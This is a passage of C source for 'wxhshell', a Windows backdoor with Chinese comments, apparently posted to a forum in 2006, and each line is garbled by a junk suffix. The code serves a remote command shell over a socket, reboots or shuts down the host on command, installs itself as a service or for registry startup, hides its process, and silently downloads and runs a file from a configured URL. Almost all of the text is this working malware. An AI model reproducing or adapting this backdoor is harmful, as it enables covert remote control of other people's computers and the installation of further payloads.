  9m%+6#|  
  // 帮助 "1Y DT-I"  
  case '?': { a5`9mR)Y$'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p%\&M bA  
    break; eFQz G+/  
  } uxW<Eh4H*  
  // 安装 )@ .0ai  
  case 'i': { OeQ~g-n  
    if(Install()) !]z4'*)W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  O&dh<  
    else W#x~x|(c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HJe6h. P  
    break; [F,s=,S'M  
    } xu'b@G}12  
  // 卸载 v/Xz.?a\jF  
  case 'r': { ;s$ P?('  
    if(Uninstall()) ECuNkmUI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *E/CNMn=E  
    else EPEn"{;U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z/e[$xT <  
    break; `TDS 4Y  
    } R]S!PSoL  
  // 显示 wxhshell 所在路径 -x>2Wb~%  
  case 'p': { lt0byn$vz  
    char svExeFile[MAX_PATH]; LdX'V]ITh  
    strcpy(svExeFile,"\n\r"); StLbX?d6  
      strcat(svExeFile,ExeFile); AASS'H@  
        send(wsh,svExeFile,strlen(svExeFile),0); {-)I2GJav  
    break; 92/_!P>  
    } G8b`>@rZ  
  // 重启 ?ViU%t8J5  
  case 'b': { [ofZ1hB4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bW^{I,b<F  
    if(Boot(REBOOT)) X;dUlSi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :*tFW~<*b  
    else { !WD^To  
    closesocket(wsh); A=wh&X  
    ExitThread(0); *i,A(f'e4X  
    } OlsD  
    break; I-/-k.  
    } W3B:)<f  
  // 关机 6k ]+DbT  
  case 'd': { Rw!_j!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d!4:nvKx  
    if(Boot(SHUTDOWN)) DC'L-]#<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M{XBmDfN  
    else { lMjeq.5nP  
    closesocket(wsh); U/{#~P5s  
    ExitThread(0); IG8I<+<o  
    } w.-J2%J   
    break; A4TW`g_zm  
    } x0dBg~I  
  // 获取shell CYhSCT!-?  
  case 's': { 6{[ uCxxl  
    CmdShell(wsh);  KzZRFEA_  
    closesocket(wsh); $< .wQ8:Q  
    ExitThread(0); Mg\8m-L^  
    break; rJCu6  
  } /+?eSgM/  
  // 退出 kclZ+E  
  case 'x': { iGIry^D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?Pt*4NaT;  
    CloseIt(wsh); (ZD~Q_O-  
    break; %/%TR@/  
    } p3cb_  
  // 离开 ]P4?jKI  
  case 'q': { 2-@z-XKn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 34aSRFsk*  
    closesocket(wsh); VVi3g  
    WSACleanup(); :i o[9B [  
    exit(1); >q1rdq  
    break; \{}5VVw-S?  
        } r]bG,?|  
  } VO7&<Y}{x  
  } N/8B@}@n  
Oa' T$'  
  // 提示信息 f2i9UZ$=e!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eOUEhpE  
} T $o;PJc  
  } /9 |BAQ:v;  
s[u*~A  
  return; nm@.] "/  
} ce1U}">11  
-nGLmMvd  
// shell模块句柄 #7naI*O  
int CmdShell(SOCKET sock) BBRZlx  
{ ?p &Xf>K  
STARTUPINFO si; 2;ac&j1  
ZeroMemory(&si,sizeof(si)); &MJ`rj[%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J!5&Nc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cwI3ANV  
PROCESS_INFORMATION ProcessInfo; bMN ]co  
char cmdline[]="cmd"; Lz`_&&6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "V<7X%LIX  
  return 0; _16r8r$V  
} D#d \1g  
ZE6W"pbjU  
// 自身启动模式 %ERR^  
int StartFromService(void) O7zj8  
{ ?q}:ojrs1  
typedef struct \|C~VU@  
{ vH>s2\V"  
  DWORD ExitStatus; '],G!U(  
  DWORD PebBaseAddress; ;b0;66C8|  
  DWORD AffinityMask; `&FfGftc  
  DWORD BasePriority; m~8=?R+m  
  ULONG UniqueProcessId; ;1Q @d  
  ULONG InheritedFromUniqueProcessId; mC!^`y)  
}   PROCESS_BASIC_INFORMATION; fOz.kK[]  
p!+bn,?G  
PROCNTQSIP NtQueryInformationProcess; W$Z8AZ{E  
Ca#T?HL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &*o{-kw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8>!-|VSn  
(bGk=q=M  
  HANDLE             hProcess; #c`/ f6z  
  PROCESS_BASIC_INFORMATION pbi; L?b;TjLe  
.N  Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GBGna3  
  if(NULL == hInst ) return 0; r5PZ=+F  
*~8g:;u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Kd7Lpw1u]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \!Ap<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BYb"[qPV  
\kC'y9k  
  if (!NtQueryInformationProcess) return 0; d(9C7GLC,  
7$Pf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z KNac[:  
  if(!hProcess) return 0; He}"e&K  
h%Uq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (T =u_oe  
dRXrI  
  CloseHandle(hProcess); LCok4N$o  
D #C\| E:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O2oF\E_6  
if(hProcess==NULL) return 0; Twpk@2=l  
'$q3Ze  
HMODULE hMod; i6xzHfaYG  
char procName[255]; G3.\x_;k  
unsigned long cbNeeded; So}pA2[0  
/=:F w}vt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HnY.=_G  
^AR kjYt  
  CloseHandle(hProcess); @{@)gE  
>,c'Z<TM  
if(strstr(procName,"services")) return 1; // 以服务启动 OZ2faf  
6Q}>=R^h  
  return 0; // 注册表启动 921s'"  
} cC TTjx{  
` 6pz9j]  
// 主模块 X9ec*x  
int StartWxhshell(LPSTR lpCmdLine) 5YQJNP  
{ lYy:A%yDT  
  SOCKET wsl; .8]=yPm  
BOOL val=TRUE; L.% zs  
  int port=0; -;GB Xq  
  struct sockaddr_in door; 8n/[oDc]  
Nd**":i$  
  if(wscfg.ws_autoins) Install(); =Kt!+^\")  
;tfGhHpQn  
port=atoi(lpCmdLine); ^'4I%L"  
d@{#F"o  
if(port<=0) port=wscfg.ws_port; SHqz &2u  
N`7+] T  
  WSADATA data; /n3SE0Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q `L}\}o  
BJnysQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t[\6/`YH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9&1$\ZH  
  door.sin_family = AF_INET; PH=O>a`a_O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oX?~  
  door.sin_port = htons(port); gg$:U  
*)Pb-c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0|]qW cD  
closesocket(wsl); +A2}@k   
return 1; /cx Ei6I-  
} |O[ I=!  
0t)5KO  
  if(listen(wsl,2) == INVALID_SOCKET) { ]v0=jm5A  
closesocket(wsl); 3OJGBiDAr  
return 1; 1b8}TG2  
} }XRRM:B|)(  
  Wxhshell(wsl); B'D~Q  
  WSACleanup(); zu``F]B  
+3?.Vb%jY  
return 0; [V41 Gk  
l/56;f\IA  
} Bx0=D:j  
slV]CXW)t  
// 以NT服务方式启动 2.&%mSN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *r iWrG  
{ #Z}YQ $g  
DWORD   status = 0; U (A#}  
  DWORD   specificError = 0xfffffff; ccgV-'IG9  
b`|,rfq^AZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m<|fdS'@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `6o5[2V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R5fZ }C7  
  serviceStatus.dwWin32ExitCode     = 0; 7:wf!\@ I  
  serviceStatus.dwServiceSpecificExitCode = 0; 3s_$.  
  serviceStatus.dwCheckPoint       = 0; |7b@w;q,D  
  serviceStatus.dwWaitHint       = 0; OdtS5:L  
y@dTdR2Wc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9+:<RFJ  
  if (hServiceStatusHandle==0) return; M|qJZ#{4>  
Zu/1:8x  
status = GetLastError(); >C}KSyV;  
  if (status!=NO_ERROR) zq]:.s  
{ 8 %^W<.Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r& nE M6  
    serviceStatus.dwCheckPoint       = 0; -p f9Wk  
    serviceStatus.dwWaitHint       = 0; x.>[A^  
    serviceStatus.dwWin32ExitCode     = status; 5h p)Z7  
    serviceStatus.dwServiceSpecificExitCode = specificError; MDfC%2Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u{|^5%)  
    return; QVWUm!  
  } d&%}u1 .  
0Yfz?:e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jYsg'Rl  
  serviceStatus.dwCheckPoint       = 0; u7bji>j  
  serviceStatus.dwWaitHint       = 0; nLnzl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '#CYw=S+  
} oN Rp  
&p.7SPQ8/  
// 处理NT服务事件,比如:启动、停止 )Z63 cr/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) els71t -  
{ p.!p6ve){  
switch(fdwControl) ivPX_#QI  
{ {e83 A /{  
case SERVICE_CONTROL_STOP: 4m6%HV8{}[  
  serviceStatus.dwWin32ExitCode = 0; ' y_2"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =p#:v  
  serviceStatus.dwCheckPoint   = 0; ie<m)  
  serviceStatus.dwWaitHint     = 0; Ve t<,;Te  
  { Lq{/r+tt/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _"- ,ia[D  
  } D~@lpcI  
  return; Ir3|PehB  
case SERVICE_CONTROL_PAUSE: \,yg@ R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9a{9|p>L  
  break; r+}<]?aT>-  
case SERVICE_CONTROL_CONTINUE: da5fKK/s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fx/If  
  break; fl<j]{*v  
case SERVICE_CONTROL_INTERROGATE: #\MkbZc d  
  break; IdciGS6 t  
}; >~@ABLp 6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }~! D]/B  
} vf['$um  
K2-nP2Go?  
// 标准应用程序主函数 'o-J)+oa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UUxP4  
{ ,~7+r#q7  
 A}n7A   
// 获取操作系统版本 ?f=7F %  
OsIsNt=GetOsVer(); XC\'8hL:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~JohcU}d  
Fzn#>`qG  
  // 从命令行安装 _)^`+{N<  
  if(strpbrk(lpCmdLine,"iI")) Install(); seNH/pRb  
qF4DX$$<  
  // 下载执行文件 _H$Z }2g<z  
if(wscfg.ws_downexe) { 2w /qH4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c/`Rv{ *'o  
  WinExec(wscfg.ws_filenam,SW_HIDE); txy'7t  
} _OR[RGy  
09Y:(2Qri  
if(!OsIsNt) { $ Bdxu  
// 如果时win9x,隐藏进程并且设置为注册表启动 a`S3v  
HideProc(); _Uu p*#m  
StartWxhshell(lpCmdLine); >I9|N}I  
} 2Q[q)u  
else `}*jjnr"  
  if(StartFromService()) vjYG>YhV  
  // 以服务方式启动 T%1Kh'92  
  StartServiceCtrlDispatcher(DispatchTable); H^8t/h  
else |p":s3K"Hy  
  // 普通方式启动 Ox+}JB [  
  StartWxhshell(lpCmdLine); ( ALsc@K  
d$v{oC }  
return 0; Bt"*a=t;  
}
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只看该作者 1 发表于: 2006-10-10
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